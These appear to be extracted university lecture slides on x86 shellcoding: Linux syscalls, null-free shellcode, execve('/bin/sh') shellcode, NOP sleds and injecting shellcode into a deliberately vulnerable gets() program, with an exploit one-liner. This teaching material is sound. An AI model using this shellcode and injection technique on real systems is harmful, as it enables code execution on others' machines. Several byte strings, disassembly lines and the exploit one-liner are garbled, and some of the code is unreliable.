Shellcoding

Modern Binary Exploitation
CSCI 4968 - Spring 2015
Sophia D’Antoine
Lecture Overview

1. Basic Stack Smashing Review
2. Defining Shellcode
3. Hello World Shellcode
4. Linux System Calls
5. Writing & Testing Shellcode
6. Shellcode in Exploitation
7. Additional Notes
Basic Stack Smashing Review

```c
void function(char *str) {
    char buffer[16];
    strcpy(buffer,str);
}

void main() {
    char large_string[256];
    fgets(large_string, strlen(large_string), stdin);
    function(large_string);
}
```
Basic Stack Smashing Review

User enters <= 16 A’s, everything is OK

User enters > 16 A’s

Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () => 0x41414141: Cannot access memory at address 0x41414141
Basic Stack Smashing Review

- New stack frame
- Saved EBP Address
- Saved Return Address
- Argument One to gets()
Moving Forward

- In Lab 2 we gave contrived examples with ‘win’ functions to launch a shell, but you won’t be as lucky in the real world
- **Question:** What if there’s no win function?
- **Answer:** Inject your own!
**Lecture Overview**

1. Basic Stack Smashing Review
2. Defining Shellcode
3. Hello World Shellcode
4. Linux System Calls
5. Writing & Testing Shellcode
6. Shellcode in Exploitation
7. Additional Notes
Defining Shellcode

- **Shellcode**
  - A set of instructions that are injected by the user and executed by the exploited binary
  - Generally the ‘payload’ of an exploit
  - Using *shellcode* you can essentially make a program execute code that never existed in the original binary
  - You’re basically injecting code
Origins of the Name

• Why the name “shellcode”?  
• historically started a command shell
Shellcode as C

Shellcode is generally hand coded in assembly, but its functionality can be represented in C.

```c
char *shell[2];
shell[0] = "/bin/sh";
shell[1] = NULL;
execve(shell[0], shell, NULL);
exit(0);
```
Shellcode as x86

8048060: \texttt{\_start}: \\
8048060: 31 \texttt{c0} \hspace{1cm} \texttt{xor} \hspace{1cm} \texttt{eax, eax} \\
8048062: 50 \hspace{1cm} \texttt{push} \hspace{1cm} \texttt{eax} \\
8048063: 68 2f 2f 73 68 \hspace{1cm} \texttt{push} \hspace{1cm} \texttt{0x68732f2f} \\
8048068: 68 2f 62 69 6e \hspace{1cm} \texttt{push} \hspace{1cm} \texttt{0x6e69622f} \\
804806d: 89 e3 \hspace{1cm} \texttt{mov} \hspace{1cm} \texttt{ebx, esp} \\
804806f: 89 c1 \hspace{1cm} \texttt{mov} \hspace{1cm} \texttt{ecx, eax} \\
8048071: 89 c2 \hspace{1cm} \texttt{mov} \hspace{1cm} \texttt{eax, edx} \\
804806f: 89 c1 \hspace{1cm} \texttt{mov} \hspace{1cm} \texttt{ecx, eax} \\
8048073: 89 c2 \hspace{1cm} \texttt{mov} \hspace{1cm} \texttt{edx, eax} \\
8048075: b0 0b \hspace{1cm} \texttt{mov} \hspace{1cm} \texttt{al, 0x0b} \\
8048077: cd 80 \hspace{1cm} \texttt{int} \hspace{1cm} \texttt{0x80} \\
8048079: 31 c0 \hspace{1cm} \texttt{xor} \hspace{1cm} \texttt{eax, eax} \\
804807a: cd 80 \hspace{1cm} \texttt{int} \hspace{1cm} \texttt{0x80}
Shellcode as a String

```c
char shellcode[] =
    "\x31\xc0\x50\x68\x2f\x2f\x73"
    "\x68\x68\x2f\x62\x69\x6e\x89"
    "\xe3\x89\xc1\x89\xc2\xb0\x0b"
    "\xcd\x80\x31\xc0\x40\xcd\x80";
```

```plaintext
push edi
    call sub_314623
    test eax, eax
    jz short loc_31306D
    cmp [ebp+arg_0], ebx
    jnz short loc_313066
    mov eax, [ebp+var_70]
    cmp eax, [ebp+var_84]
    jzb short loc_313066
    sub eax, [ebp+var_84]
    push esi
    push eax
    push edi
    mov [ebp+arg_0], eax
    call sub_31462A
    test eax, eax
    jz short loc_31306D
    push esi
    lea eax, [ebp+arg_0]
    push eax
    mov esi, [ebp+arg_4]
    push edi
    mov [ebp+arg_4], eax
    push esi
    lea eax, [ebp+arg_0]
    push eax
    mov esi, 100h
    push esi
    call sub_314623
    test eax, eax
    jz short loc_31306D
    cmp [ebp+arg_0], esi
    jzb short loc_31306F

loc_31306D:
    call sub_3140F3
    test eax, eax
    jmp short loc_31307D
    call sub_3140F3
    jmp short loc_31308C

loc_31307D:
    call sub_3140F3
    and eax, 0FFFFh
    or eax, 00070000h

loc_31308C:
    mov [ebp+var_4], eax
```

MBE - 02/20/15
Lecture Overview

1. Basic Stack Smashing Review
2. Defining Shellcode
3. Hello World Shellcode
4. Linux System Calls
5. Writing & Testing Shellcode
6. Shellcode in Exploitation
7. Additional Notes
Hello World Shellcode

user_code:
    jmp     message

write_str:
    xor     eax, eax
    xor     ebx, ebx
    xor     edx, edx
    mov     eax, 4
    mov     ebx, 1
    pop     ecx
    mov     edx, 13
    int     0x80
    mov     eax, 1
    xor     ebx, ebx
    int     0x80

message:
    call    write_str
    .ascii  "Hello, World\n"

Machine code as a string constant:
"\xEB\x21\x31\xC0\x31\xDB\x31\xD2\xB8\x04\x00\x00\x00\xBB\x01\x00\x00\x00\x00\x00\x00\x59\xBA\x0D\x00\x00\x00\xCD\x80\xB8\x01\x00\x00\x00\x31\xDB\xCD\x80\xEB\xA8\xFF\xFF\xFF\x48\x65\x6C\x6C\x6F\x2C\x20\x57\x6F\x72\x6C\x64\x0A"

53 Bytes

https://defuse.ca/online-x86-assembler.htm#disassembly
Ø or Null

When shellcode is read as a string, null bytes become an issue with common string functions.

Solution: Make your shellcode NULL free!

The instruction

```
mov eax, 4 ; "\xB8\x04\x00\x00\x00"
```

can be replaced by:

```
mov al, 4 ; "\xb0\x04"
```
x86 Register Review
Hello World with NULL Bytes

user_code:

    jmp     message

write_str:

    xor     eax, eax
    xor     ebx, ebx
    xor     edx, edx
    mov     eax, 4
    mov     ebx, 1
    pop     ecx
    mov     edx, 13
    int     0x80
    mov     eax, 1
    xor     ebx, ebx
    int     0x80

message:

    call    write_str

.asciiz "Hello, World\n"

Machine code as a string constant:

"\xEB\x21\x31\xC0\x31\xDB\x31\xD2\n\xB8\x04\x00\x00\x00\xBB\x01\x00\x00\x00\n\xCD\x80\xB8\x01\x00\x00\x00\x31\n\xDB\xCD\x80\xE8\xDA\xFF\xFF\xFF\n\x48\x65\x6C\x6C\x6F\x2C\x20\x57\n\x6F\x72\x6C\x64\x0A"

53 Bytes

https://defuse.ca/online-x86-assembler.htm#disassembly
Hello World without NULL Bytes

user_code:

```assembly
user_code:
    jmp message
write_str:
    xor eax, eax
    xor ebx, ebx
    xor edx, edx
    mov al, 4
    mov bl, 1
    pop ecx
    mov dl, 13
    int 0x80
    mov al, 1
    xor ebx, ebx
    int 0x80
message:
    call write_str
    .ascii "Hello, World\n"
```

Machine code as a string constant:

```
"\xEB\x15\x31\xC0\x31\xDB\x31\xD2
\xB0\x04\xB3\x01\x59\xB2\x0D\xCD
\x80\xB0\x01\x31\xDB\xCD\x80\xE8
\xE6\xFF\xFF\xFF\x48\x65\x6C\x6F
\x2C\x20\x57\x6F\x72\x6C\x64
\x0A"
```

41 Bytes

No more NULLs!

https://defuse.ca/online-x86-assembler.htm#disassembly
Optimizing Hello World

mini_hello:
```
xor   ebx, ebx
mul   ebx
mov   al, 0x0a
push  eax
push  0x646c726f
push  0x57202c6f
push  0x6c6c6548
mov   al, 4
mov   bl, 1
mov   ecx, esp
mov   dl, 13
int   0x80
mov   al, 1
xor   ebx, ebx
int   0x80
```

Machine code as a string constant:
```
x31\xDB\xF7\xB0\x0A\x50\x68\x6F\x72\x6C\x64\x68\x6F\x2C\x20\x57\x68\x48\x65\x6C\x6C\xB0\x04\xB3\x01\x89\xB2\x0D\xCD\xB0\x01\x31\xDB\xCD\xB0
```

38 Bytes

Can you make this smaller? (spoiler: probably can)
Common Tricks

xoring anything with itself clears itself:

```assembly
xor eax, eax ; "\x31\xC0"
```

clear three registers in four bytes:

```assembly
xor ebx, ebx
mul ebx ; "\x31\xDB\xF7\xE3"
```

There’s always more than one way to do things
Lecture Overview

1. Basic Stack Smashing Review
2. Defining Shellcode
3. Hello World Shellcode
4. **Linux System Calls**
5. Writing & Testing Shellcode
6. Shellcode in Exploitation
7. Additional Notes
Linux System Calls

- System calls are how userland programs talk to the kernel to do anything interesting
  - open files, read, write, map memory, execute programs, etc

- libc functions are high level syscall wrappers
  - `fopen()`, `sscanf()`, `execv()`, `printf()` ...
Libc Wraps Syscalls

Example of how Libc wraps Syscalls:

```c
void main()
{
  exit(0);
}
```

gcc -masm=intel -static -o exit exit.c
Libc Wraps Syscalls

```
gdb exit
(gdb) set disassembly-flavor intel
(gdb) disas _exit
Dump of assembler code for function _exit:
0x0804dbfc <_exit+0>:   mov    ebx, DWORD PTR [esp+4]
0x0804dc00 <_exit+4>:   mov    eax, 0xfc
0x0804dc05 <_exit+9>:   int    0x80
0x0804dc07 <_exit+11>:  mov    eax, 0x1
0x0804dc0c <_exit+16>:  int    0x80
0x0804dc0e <_exit+18>:  hlt
```

This is from The Shellcoder's Handbook

; 0xfc = exit_group()
; 0x1 = exit()
Using Syscalls in Shellcode

- Like programs, your **shellcode** needs syscalls to do anything of interest
- Syscalls can be made in x86 using interrupt 0x80
  ```
  int 0x80
  ```
- Look at all the pretty syscalls
  - [http://docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html](http://docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html)
Hello World (Revisited)

Assembler code:

```
user_code:
jmp message
write_str:
xor eax, eax
xor ebx, ebx
xor edx, edx
mov al, 4
mov bl, 1
pop ecx
mov dl, 13
int 0x80
mov al, 1
xor ebx, ebx
int 0x80
message:
call write_str
.asci "Hello, World\n"
```

Syscall = 4 (Write)
Output FD = 1 (STDOUT)
Buffer = “Hello, World”
Bytes to write = 13
Hello World (Revisited)

user_code:
    jmp message

write_str:
    xor eax, eax
    xor ebx, ebx
    xor edx, edx
    mov al, 4
    mov bl, 1
    pop ecx
    mov dl, 13
    int 0x80
    mov al, 1
    xor ebx, ebx
    int 0x80

message:
    call write_str
    .ascii "Hello, World\n"

Syscall = 4 (Write)
Output FD = 1 (STDOUT)
Buffer = “Hello, World\n”
Bytes to write = 13

Basically:
write(1, “Hello, World\n”, 13);
Shellcoding

Syscall Summary

Linux Syscalls sorta use fastcall
- specific syscall # is loaded into eax
- arguments for call are placed in different registers
- int 0x80 executes call to syscall()
- CPU switches to kernel mode
- each syscall has a unique, static number
Lecture Overview

1. Basic Stack Smashing Review
2. Defining Shellcode
3. Hello World Shellcode
4. Linux System Calls
5. Writing & Testing Shellcode
6. Shellcode in Exploitation
7. Additional Notes
SSH into the Warzone

warzone.rpis.ec

credz given in class
Writing Shellcode

Writing `exit(0)` as shellcode

1. Set EBX to 0
2. Set EAX to 1
3. Call `int 0x80`

```
Section .text
global _start

_start:
    xor ebx, ebx
    xor eax, eax
    mov al, 1
    int 0x80
```
Compiling Shellcode

Assemble to get object file and link any necessary object files

$ nasm -f elf exit_shellcode.asm
$ ld -o exit_shellcode exit_shellcode.o
$ objdump -M intel -d exit_shellcode

Our **shellcode** as a string, extracted from Objdump:

⇒ "\x31\xc0\x31\xDB\xB0\x01\xCD\x80"
Side Note:
Stages of Compilation

1. C++ preprocessor
   - Source code file
   - Included header files
   - Expanded source code file
   - Temporary file; can be printed on stdout

2. Compiler
   - Assembler file
   - Progl.s

3. Assembler
   - Object code file
   - Progl.o

4. Linker
   - Executable file
   - Progl
   - Object code for library functions
Testing Shellcode - exit(0);

```c
/* gcc -z execstack -o tester tester.c */
char shellcode[] = "\x31\xc0\x31\xDB"
    "\xB0\x01\xCD\x80";

int main()
{
    (*(void (*)(*)) shellcode)();
    return 1;
}
```
Testing Shellcode

```
gcc -z execstack -o tester tester.c
d./tester
echo $?
0
```

Our program returned 0 instead of 1, so our shellcode worked

Let’s try something more visual this time
Hello World Shellcode

```assembly
mini_hello:
xor ebx, ebx
mul ebx
mov al, 0x0a
push eax
push 0x646c726f
push 0x57202c6f
push 0x6c6c6548
mov al, 4
mov bl, 1
mov ecx, esp
mov dl, 13
int 0x80
mov al, 1
xor ebx, ebx
int 0x80
```

Machine code as a string constant:
```
\x31\xDB\xF7\xE3\xB0\x0A\x50\x68
\x6F\x72\x6c\x64\x68\x6f\x2C\x20
\x57\x68\x48\x65\x6c\x6c\xB0\x04
\xB3\x01\x89\xE1\xB2\x0D\xCD\x80
```

38 Bytes
Testing Shellcode - Hello, World

/* gcc -z execstack -o hw hw.c */
char shellcode[] = 
"\x31\xDB\xF7\xE3\xB0\x0A\x50"
"\x68\x6F\x72\x6C\x64\x68\x6F"
"\x2C\x20\x57\x68\x48\x65\x6C"
"\x6C\xB0\x04\xB3\x01\x89\xE1"
"\xB2\x0D\xCD\x80\xB0\x01\x31"
"\xDB\xCD\x80";

int main()
{  
*(void (*)(())) shellcode();
return 0;
}
Testing Shellcode

$ gcc -z execstack -o hw hw.c
$ ./hw
Hello, World
$

Sweet.
Shellcoding Tools We <3

- Writing Shellcode
  - pwntools (python package)
  - asm
  - disasm
  - https://defuse.ca/online-x86-assembler.htm

- Testing Shellcode
  - shtest
Basic Usage, you should read the help’s (-h)

$ asm
xor eax, eax
(ctrl+d)
31c0

$ disasm 31c0
0: 31 c0 xor eax,eax
Lecture Overview

1. Basic Stack Smashing Review
2. Defining Shellcode
3. Hello World Shellcode
4. Linux System Calls
5. Writing & Testing Shellcode
6. Shellcode in Exploitation
7. Additional Notes
Shellcode in Exploitation

• In the real world, 99% of binaries won’t have a ‘win’ function laying around for you to return to once you hijack control flow... so what do you do instead?

• You inject shellcode as part of your payload and return to that!
#include <stdio.h>

/* gcc -z execstack -fno-stack-protector -o inject inject.c */

int main()
{
    char buffer[128];
    puts("where we're going");
    puts("we don't need ... roads.");
    gets(buffer);

    return 0;
}
More Relevant Shellcode

Instead of lame shellcode:

```c
write("Hello, World")
```

why not do something more exciting:

```c
exec("/bin/sh")
```
Pre-made Shellcode

• Some pre-made `exec("/bin/sh")` shellcode:
  • http://shell-storm.org/shellcode/files/shellcode-811.php

• Sometimes you can reuse pre-made shellcode, but other times you need to craft shellcode to fit the needs of a given scenario or binary
  • hint: you probably won’t be able to rely on pre-made shellcode for the upcoming lab
**NOP Sleds**

- Remember ‘nop’ (\x90) is an instruction that does nothing.
- If you don’t know the exact address of your shellcode in memory, pad your exploit with nop instructions to make it more reliable!

```
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 shellcode 90 90 90 90 90 addr
```
NOP Sleds

- Remember ‘nop’ (\x90) is an instruction that does nothing
- If you don’t know the exact address of your shellcode in memory, pad your exploit with nop instructions to make it more reliable!

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 shellcode 90 90 90 90 addr

Stack

- NOP Sled
- \x90 \x90 \x90 \x90 ...
- Shellcode
- ... \x90 \x90 \x90 \x90 ...
- RET Overwrite

Previous Stack Frame

0xc0000000 ----> (higher addr)

Shellcoding
NOP Sleds

- Remember ‘nop’ (\x90) is an instruction that does nothing.

- If you don’t know the exact address of your shellcode in memory, pad your exploit with nop instructions to make it more reliable!

\x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90
\x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90
\x90 \x90

shellcode

\x90 \x90 \x90 \x90

addr
Solving ./inject

An exploit for ./inject:

```
(python -c "print "\x90"*80 + "; cat;)") | ./inject
```
Party like It’s ‘99

- gcc
  - -z execstack
  - -fno-stack-protector

- This is classical **exploitation** - it’s not as easy to simply inject and execute **shellcode** anymore
  - but you must walk before you can run
Lecture Overview

1. Basic Stack Smashing Review
2. Defining Shellcode
3. Hello World Shellcode
4. Linux System Calls
5. Writing & Testing Shellcode
6. Injecting Shellcode
7. Additional Notes
Shellcoding

**Function Constraints**

- `fgets()` reads stdin until input length, `scanf()` and `gets()` read until terminating character
  - rare to see `gets` or ‘insecure’ functions used nowadays

- \x00 (NULL) byte stops most string functions
  - `strcpy()`, `strlen()`, `strcat()`, `strcmp()` ...

- \x0A (newline) byte causes `gets()`, `fgets()` to stop reading
  - But not NULLs!
In memory, stuff is going in backwards

String Input: “\x41\x42\x43\x44” (ABCD)

On the Stack: “\x44\x43\x42\x41” (DCBA)

Target Address in Python:

```
pack ( ‘<I’, 0xDDEEFFGG )
```
Little Endian

![Stack Diagram]

- Address 0x80C03508
- Unallocated Stack Space
- Little Endian 0x80C03508
- Parent Routine's Stack

```
push edi
call sub_314623
test eax, eax
je short loc_31306D
cmp [ebp+arg_0], ebx
jniz short loc_313066
mov eax, [ebp+var_70]
cmp eax, [ebp+var_84]
jb short loc_313066
sub eax, [ebp+var_84]
push esi
push eax
push edi
mov [ebp+arg_0], eax
call sub_31466A
test eax, eax
je short loc_31306D
push esi
eax, [ebp+arg_0]
push eax
push esi, IDOh
push esi
push [ebp+arg_4]
push edi
call sub_314623
test eax, eax
je short loc_31306D
cmp [ebp+arg_0], esi
ejniz short loc_31308F
push IDH
call sub_314118
```

```
call sub_3140F3
test eax, eax
je short loc_31307D
call sub_3140F3
jmp short loc_31308C
call sub_3140F3
and eax, 00FFFFh
or eax, 00070000h
```

```
loc_31308C:
mov [ebp+var_4], eax
```
Alphanumeric Shellcode

Scenario:
Sometimes a program accepts only ASCII characters... so you need alphanumeric shellcode!

Functions such as `isalnum()` from `ctype.h` are used to check if strings are alphanumeric - alphanumeric shellcode generally balloons in size - sometimes constricts functionality
Alphanumeric Shellcode

zeros out eax
⇒ "\x25\x4A\x4E\x45\x25\x35\x30\x31\x3A"

and eax, 0x454e4a

and eax, 0x3a313035

moves eax into esp
⇒ "\x50\x5C"

push eax
pop esp

Can generally do what you need to, but it’s trickier and takes more bytes
Reduce, Reuse, Recycle

http://shell-storm.org/

http://www.exploit-db.com/shellcode/
Upcoming

Project #1 will be on the Warzone soon

LAB 3 IS ON TUESDAY!